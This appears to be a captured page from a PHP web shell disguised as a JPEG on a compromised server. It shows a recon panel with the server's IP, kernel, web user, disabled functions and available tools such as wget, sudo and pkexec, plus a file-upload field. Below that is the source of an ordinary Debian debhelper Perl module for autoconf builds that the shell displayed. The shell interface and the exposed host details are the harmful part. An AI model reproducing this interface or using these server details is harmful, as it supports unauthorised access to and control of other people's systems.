????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.48 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/share/perl5/Debian/Debhelper/Buildsystem/ |
Upload File : |
# A debhelper build system class for handling Autoconf based projects
#
# Copyright: © 2008 Joey Hess
# © 2008-2009 Modestas Vainius
# License: GPL-2+
package Debian::Debhelper::Buildsystem::autoconf;
use strict;
use Debian::Debhelper::Dh_Lib qw(dpkg_architecture_value sourcepackage compat);
use base 'Debian::Debhelper::Buildsystem::makefile';
sub DESCRIPTION {
"GNU Autoconf (configure)"
}
sub check_auto_buildable {
my $this=shift;
my ($step)=@_;
# Handle configure; the rest - next class (compat with 7.0.x code path)
if ($step eq "configure") {
return 1 if -x $this->get_sourcepath("configure");
}
return 0;
}
sub configure {
my $this=shift;
# Standard set of options for configure.
my @opts;
push @opts, "--build=" . dpkg_architecture_value("DEB_BUILD_GNU_TYPE");
push @opts, "--prefix=/usr";
push @opts, "--includedir=\${prefix}/include";
push @opts, "--mandir=\${prefix}/share/man";
push @opts, "--infodir=\${prefix}/share/info";
push @opts, "--sysconfdir=/etc";
push @opts, "--localstatedir=/var";
my $multiarch=dpkg_architecture_value("DEB_HOST_MULTIARCH");
if (! compat(8)) {
if (defined $multiarch) {
push @opts, "--libdir=\${prefix}/lib/$multiarch";
push @opts, "--libexecdir=\${prefix}/lib/$multiarch";
}
else {
push @opts, "--libexecdir=\${prefix}/lib";
}
}
else {
push @opts, "--libexecdir=\${prefix}/lib/" . sourcepackage();
}
push @opts, "--disable-maintainer-mode";
push @opts, "--disable-dependency-tracking";
# Provide --host only if different from --build, as recommended in
# autotools-dev README.Debian: When provided (even if equal)
# autoconf 2.52+ switches to cross-compiling mode.
if (dpkg_architecture_value("DEB_BUILD_GNU_TYPE")
ne dpkg_architecture_value("DEB_HOST_GNU_TYPE")) {
push @opts, "--host=" . dpkg_architecture_value("DEB_HOST_GNU_TYPE");
}
$this->mkdir_builddir();
eval {
$this->doit_in_builddir($this->get_source_rel2builddir("configure"), @opts, @_);
};
if ($@) {
if (-e $this->get_buildpath("config.log")) {
$this->doit_in_builddir("tail -v -n +0 config.log");
}
die $@;
}
}
1